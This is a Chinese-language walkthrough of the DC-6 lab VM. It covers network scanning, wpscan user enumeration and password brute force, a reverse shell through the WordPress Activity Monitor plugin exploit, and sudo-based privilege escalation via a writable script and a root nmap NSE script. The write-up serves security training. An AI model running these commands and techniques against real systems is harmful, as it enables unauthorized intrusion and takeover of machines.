环境搭建
靶机:DC-6,IP地址:192.168.52.139
测试机:Kali,IP地址:192.168.52.134
渗透测试
一. 信息收集
1、下载安装并启动DC-6
下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。
在这里记一下DC-6的MAC地址,等下用的到。
启动DC-6时开机就好,因为不知道用户名和密码,所以登录不了
2、打开kali,查看kali的IP地址和子网掩码
因为DC-6和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-6的网络号
DC-6的网络号是:192.168.52.0/24
3、使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到DC-6的IP地址
arp-scan -l
根据之前记下的MAC地址确定扫描到的主机哪一个是DC-6,因为MAC地址是主机的唯一标识。
获得DC-6靶机ip:192.168.52.139
4、使用nmap扫描DC-6,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.139
-sV只扫描端口及其版本号
-A扫描端口的详细信息
发现目标机开放了22、80端口,但出现和dc2一样的问题:开启HTTP服务,输入ip无法连接服务器且IP变域名,说明DNS服务器无法解析该域名,可改hosts文件访问,添加ip对应域名
win10路径:C:\Windows\System32\drivers\etc\hosts
linux路径:etc/hosts
所以我们需要修改hosts文件内容,使域名wordy对应IP
vim /etc/hosts
#按i插入
192.168.52.139 wordy
使用kali中浏览器可以成功访问
5、我们以80端口作为突破口,访问80,查看基本信息
可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
Wappalyzer相关信息:
发现是wordPress的博客
使用kali的wpscan来扫描一下用户名
wpscan --ignore-main-redirect --url 192.168.52.139 --enumerate u --force
wpscan -h可以查看各种参数以及定义,--enumerate 枚举 u 枚举用户名
枚举出来了五个账号分别是admin、graham、mark、sarah、jens
在桌面创建一个dc6user.txt的文本并写入
根据靶机官网提示
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)猜测爆破进入后台
需要使用kali下的usr/share/wordists/rockyou.txt密码字典进行爆破
进入到/usr/share/wordlists下你会发现有一个rockyou.txt.gz
需要解压才能得到rockyou.txt
gzip -c -d rockyou.txt.gz > /root/桌面/rockyou.txt
因为这个字典非常大,解压出来也是需要等一会才解压完,建议等个几分钟,如果在桌面打开rockyou.txt文档往下滑,看右边的进度条还在往下的话说明还在解压导出中。
因为密码字典太大,将密码筛选出来
cat rockyou.txt | grep k01 > dc6passw.txt
通过wpscan对已经扫描到的用户名和生成的密码字典对目标主机(dc-6)进行爆破
wpscan --url http://wordy/ -U dc6user.txt -P dc6passw.txt
得到账号:mark 密码:helpdesk01
扫描一下网站的目录看看从哪里登录
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.139 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
找到后台登入框
http://192.168.52.139/wp-login.php
二. 漏洞查找
打开登录界面输入账号密码进行登录,登入进去后发现使用了插件Activity monitor
想起刚开始进入域名时
使用searchsploit搜索一下该插件的漏洞
searchsploit是一款kali自带的搜索漏洞信息的模块,“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用
searchsploit Activity monitor
发现俩个wordpress的插件漏洞,之后将45274.html这个漏洞利用文件移动到桌面,有两种方法:
方法一、使用cp命令copy到桌面
45274.html这个漏洞文件的完整path是
/usr/share/exploitdb/exploits/php/webapps/45274.html
拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件
cp /usr/share/exploitdb/exploits/php/webapps/45274.html /root/桌面/45274.html
方法二、利用searchsploit相关参数
尝试45274.html这个漏洞利用文件
searchsploit -m 45274.html
编辑45274.html这个漏洞利用文件,在箭头1修改为域名地址,箭头2修改为kali反弹shell命令
kali监听shellnc -lvvp 4444
使用浏览器打开45274.html这个漏洞利用文件,点击Submit request
kali反弹shell成功
三、提权
1、获得交互式shell
反弹shell成功,转换交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'
找到具有suid的权限程序,发现都无法提权find / -perm -u=s -type f 2>/dev/null
2、发现新的用户和密码
进入home目录看看有没有账号可登录,发现有四个文件
逐一查看,最后在mark目录下的stuff文件夹下发现一个文本文件,打开后发现账户与密码:graham GSo7isUM1D4
3、使用graham用户的密码进行ssh登录
登录成功
4、提权,得到flag
看看当前用户拥有的权限,发现提示jens下有个backups.sh脚本,可以对backups.sh执行写操作
sudo -l
进入/home/jens目录,打开backups.sh,发现是一个解压脚本的命令
对脚本进行修改,将/bin/bash写入脚本
echo "/bin/bash" >> backups.sh
执行,切换到jens的shell
sudo -u jens ./backups.sh
进入到了jens的shell,使用sudo -l查看一下,又是一个提示,发现可以用root权限执行nmap,nmap在早期版本是可以用来提权的
在当前目录下创建一个脚本执行文件,将提权代码os.execute("/bin/sh")写入一个文件中。
echo "os.execute('/bin/bash')">demon.nse
nmap提权:以root的权限使用nmap执行demon.nse脚本
sudo nmap --script=/home/jens/demon.nse
提权成功,得到root权限
进入到root目录下,发现进入到root权限后输入的命令不会显示出来,必须敲下回车键后才会显示出来
cd /root
ls
cat /root/ theflag.txt
成功得到flag
四、DC-6总结
hosts定向
wpscan枚举账号(因为是WordPress博客)
wpscan账号密码爆破
dirb目录扫描得到后台登录地址
searchsploit搜索Activity monitor插件的相关漏洞,得到漏洞利用文件
运行漏洞利用文件,得到反弹shell
打开交互模式 python -c 'import pty;pty.spawn("/bin/bash")'
寻找具有suid的权限程序,提权未果
进入到home目录查看DC-6的用户目录
发现graham账号的密码,进行ssh登录成功
使用sudo -l查看权限
利用命令脚本转换到jens用户
发现可执行root的文件为nmap
创建一个nmap文件执行脚本
echo "os.execute('/bin/bash')">demon.nse
运行nmap执行脚本获取到root权限
sudo nmap --script=/home/jens/demon.nse
在root目录下拿到flag,转到root下之后执行完命令才会显示出来,输入的时候不会显示命令